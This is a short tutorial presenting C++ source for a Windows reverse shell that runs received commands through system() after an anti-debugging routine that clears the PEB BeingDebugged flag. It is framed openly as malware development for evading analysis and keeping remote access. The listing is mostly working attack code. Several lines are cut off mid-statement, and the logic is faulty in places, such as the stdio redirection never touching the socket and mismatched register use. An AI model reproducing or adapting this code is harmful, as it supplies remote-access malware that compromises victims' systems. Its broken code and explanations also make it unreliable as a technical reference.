Reverse Shell with Anti-Debugging and PEB Manipulation

By Reda Ouzidane

April 9, 2025

Abstract

This document explains a C++ program that implements a reverse shell with an anti-debugging technique. The program checks for the presence of a debugger by manipulating the `BeingDebugged` flag in the Process Environment Block (PEB). If no debugger is detected, the program connects to a remote server and listens for commands to execute.

1 Introduction

In the context of cybersecurity, especially in malware development, it is crucial to evade detection by debuggers. Debuggers allow analysts to inspect and manipulate the program's execution, which can hinder the analysis of malicious software. One way to protect a program from being debugged is by checking the `BeingDebugged` flag in the Process Environment Block (PEB). If this flag is set, it indicates that a debugger is attached.

This document will walk you through a C++ program that checks for a debugger using the PEB and proceeds to run a reverse shell if no debugger is found.

2 Code Explanation

2.1 Anti-Debugging

The function `CustomError()` manipulates the `BeingDebugged` flag in the PEB. Here's how it works:

- `mov rax, fs:[0x60]`: Retrieves the address of the PEB.
- `movzx eax, byte ptr [rax + 2h]`: Checks the `BeingDebugged` flag.
- `jnz PATCH`: Jumps to the patch section if the flag is set (debugger detected).
- `mov byte ptr [rax + 2h], 0`: Sets the `BeingDebugged` flag to 0, which tricks the program into thinking no debugger is present.

2.2 Reverse Shell

The function `reverseShell()` creates a socket connection to a remote server. Once connected, it redirects the standard input and output to the socket and listens for commands. These commands are then executed using the `system()` function.

2.3 Main

In the main function, `CustomError()` is called first to check for a debugger. If no debugger is detected, the reverse shell is initiated with the target IP and port.

3 C++ Code

Listing 1: Reverse Shell with Anti-Debugging

```
#include <windows.h>
#include <stdio.h>

const char* k = "[+]"; // Information message
const char* i = "[*]"; // Progress message
const char* e = "[-]"; // Error message

// Function to get PEB
extern "C" PVOID getPEB(void) {
    PVOID peb;
    __asm {
        mov rax, fs:[0x60]  // Get address of the PEB
        mov peb, rax        // Store it in peb
    }
    return peb;
}

// Function to check for debugger
extern "C" void CustomError(void) {
    __asm {
        xor eax, eax            // Clear eax
        call getPEB             // Get PEB address
        movzx eax, byte ptr [rax + 2h] // Get BeingDebugged flag
        test eax, eax           // Check if it's set
        jnz PATCH               // If debugger detected, jump to PATCH

        // No debugger detected
        ret

    PATCH:
        xor eax, eax            // Clear eax
        call getPEB             // Get PEB again
        mov byte ptr [rax + 2h], 0 // Set BeingDebugged flag to 0
        ret
    }
}

// Reverse Shell Function
void reverseShell(const char* ip, int port) {
    WSADATA wsaData;
    SOCKET sock;
    struct sockaddr_in server;
    // Initialize Winsock
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        printf("%s␣Failed.␣Error␣Code:␣%d\n", e, WSAGetLastError());
        return;
    }

    // Create socket
    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
        printf("%s␣Could␣not␣create␣socket:␣%d\n", e, WSAGetLastError
        return;
    }

    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr(ip);
    server.sin_port = htons(port);

    // Connect to remote server
    if (connect(sock, (struct sockaddr*)&server, sizeof(server)) == S
        printf("%s␣Connection␣failed.␣Error␣Code:␣%d\n", e, WSAGetLa
        return;
    }

    // Redirect input/output
    FILE* fp;
    fp = _fdopen(_dup(0), "r");
    _dup2(_dup(1), 0); // redirect stdout to socket
    _dup2(_dup(2), 1); // redirect stderr to socket

    // Start receiving commands and executing them
    char buffer[1024];
    while (fgets(buffer, sizeof(buffer), fp) != NULL) {
        system(buffer);  // Execute received commands
    }

    // Cleanup
    closesocket(sock);
    WSACleanup();
}
```

```
int main() {
    // Call the anti-debugging check
    CustomError();

    // If no debugger is found, continue with reverse shell
    reverseShell("192.168.1.100", 4444);  // Replace with your IP and

    return 0;
}
```

4 Conclusion

This program demonstrates how to create a simple reverse shell with anti-debugging capabilities. The anti-debugging technique manipulates the PEB to avoid detection by debuggers, while the reverse shell provides remote access to the compromised system.

This approach is commonly used in **malware** and **Red Team operations** to maintain persistence and evade analysis.